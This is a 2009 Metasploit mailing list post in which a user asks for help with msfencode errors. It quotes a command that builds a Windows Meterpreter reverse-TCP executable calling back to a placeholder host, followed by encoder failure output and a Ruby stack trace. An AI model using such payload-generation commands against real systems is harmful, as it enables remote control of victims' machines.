Metasploit mailing list archives

msfencode error


From: stewart_fey at yahoo.com (Stewart Fey)
Date: Tue, 25 Aug 2009 14:05:38 -0700 (PDT)

I keep getting this error...running lastest updates on FreeBSD


# ./msfpayload windows/meterpreter/reverse_tcp LHOST=a.b.c.d LPORT=80 R | ./msfencode -b '' -t exe -o meterpreter.exe
[*] x86/shikata_ga_nai succeeded with size 302 (iteration=1)

[-] x86/shikata_ga_nai failed: undefined method `index' for nil:NilClass
[-] x86/jmp_call_additive failed: undefined method `+' for nil:NilClass
[*] cmd/generic_sh succeeded with size 275 (iteration=1)

[-] cmd/generic_sh failed: undefined method `index' for nil:NilClass
[*] x86/fnstenv_mov succeeded with size 298 (iteration=1)

[-] x86/fnstenv_mov failed: undefined method `index' for nil:NilClass
[*] generic/none succeeded with size 275 (iteration=1)

[-] generic/none failed: undefined method `index' for nil:NilClass
[*] ppc/longxor_tag succeeded with size 348 (iteration=1)

[-] ppc/longxor_tag failed: undefined method `index' for nil:NilClass
[*] x86/call4_dword_xor succeeded with size 300 (iteration=1)

[-] x86/call4_dword_xor failed: undefined method `index' for nil:NilClass
[*] x64/xor succeeded with size 319 (iteration=1)

[-] x64/xor failed: undefined method `index' for nil:NilClass
[*] sparc/longxor_tag succeeded with size 328 (iteration=1)

[-] sparc/longxor_tag failed: undefined method `index' for nil:NilClass
[-] mipsle/longxor failed: uninitialized constant #<Module:0x29eb3a24>::Metasploit3::InvalidPayloadSizeException
[*] ppc/longxor succeeded with size 352 (iteration=1)

[-] ppc/longxor failed: undefined method `index' for nil:NilClass
[-] mipsbe/longxor failed: uninitialized constant #<Module:0x29ead930>::Metasploit3::InvalidPayloadSizeException
[*] php/base64 succeeded with size 513 (iteration=1)

[-] php/base64 failed: undefined method `index' for nil:NilClass
[*] x86/countdown succeeded with size 293 (iteration=1)

[-] x86/countdown failed: undefined method `index' for nil:NilClass
[-] x86/nonupper failed: BadChar
[*] x86/alpha_upper succeeded with size 619 (iteration=1)

[-] x86/alpha_upper failed: undefined method `index' for nil:NilClass
[*] x86/alpha_mixed succeeded with size 612 (iteration=1)

[-] x86/alpha_mixed failed: undefined method `index' for nil:NilClass
[*] x86/nonalpha succeeded with size 392 (iteration=1)

[-] x86/nonalpha failed: undefined method `index' for nil:NilClass
(eval):146:in `decoder_stub': The payload being encoded is of an incompatible size (69 bytes)   from 
./lib/msf/core/encoder.rb:268:in `do_encode'
        from ./lib/msf/core/encoder.rb:252:in `encode'
        from ./msfencode:176
        from ./msfencode:173:in `upto'
        from ./msfencode:173
        from ./msfencode:163:in `each'
        from ./msfencode:163


      
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.metasploit.com/pipermail/framework/attachments/20090825/ad138ebb/attachment.html>


Current thread: